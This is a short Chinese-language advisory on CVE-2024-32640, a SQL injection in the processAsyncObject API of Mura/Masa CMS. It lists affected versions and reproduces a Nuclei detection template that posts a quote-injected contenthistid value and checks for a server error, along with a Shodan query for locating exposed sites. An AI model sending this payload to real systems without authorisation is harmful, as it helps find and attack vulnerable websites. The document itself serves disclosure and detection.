0x00 前言
Mura CMS是一个强大的企业网站解决方案，可用于创建和管理公司网站、产品目录、新闻发布、客户支持和联系信息等内容。学校、大学和培训机构也可以使用Mura CMS来创建在线学习平台、课程目录和学生信息系统。
Masa CMS是Mura的开源系统分支。
0x01 漏洞描述
Mura CMS中processAsyncObject SQL注入漏洞，攻击者可构造恶意请求获取数据库中的敏感信息。
0x02 CVE编号
CVE-2024-32640
0x03 影响版本
Masa CMS < 7.4.6
Masa CMS < 7.3.13
Masa CMS < 7.2.8
0x04 漏洞详情
POC：
https://blog.projectdiscovery.io/hacking-apple-with-sql-injection/
代码语言：javascript复制id: CVE-2024-32640
info:
name: Mura/Masa CMS - SQL Injection
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
The Mura/Masa CMS is vulnerable to SQL Injection.
reference:
- https://blog.projectdiscovery.io/mura-masa-cms-pre-auth-sql-injection/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-32640
impact: |
Successful exploitation could lead to unauthorized access to sensitive data.
remediation: |
Apply the vendor-supplied patch or update to a secure version.
metadata:
verified: true
max-request: 3
vendor: masacms
product: masacms
shodan-query: 'Generator: Masa CMS'
tags: cve,cve2022,sqli,cms,masa,masacms
http:
- raw:
- |
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
object=displayregion&contenthistid=x'&previewid=1
matchers:
- type: dsl
dsl:
- 'status_code == 500'
- 'contains(header, "application/json")'
- 'contains_all(body, "Unhandled Exception")'
- 'contains_all(header,"cfid","cftoken")'
condition: and0x05 参考链接
https://blog.projectdiscovery.io/hacking-apple-with-sql-injection/
https://github.com/MasaCMS/MasaCMS
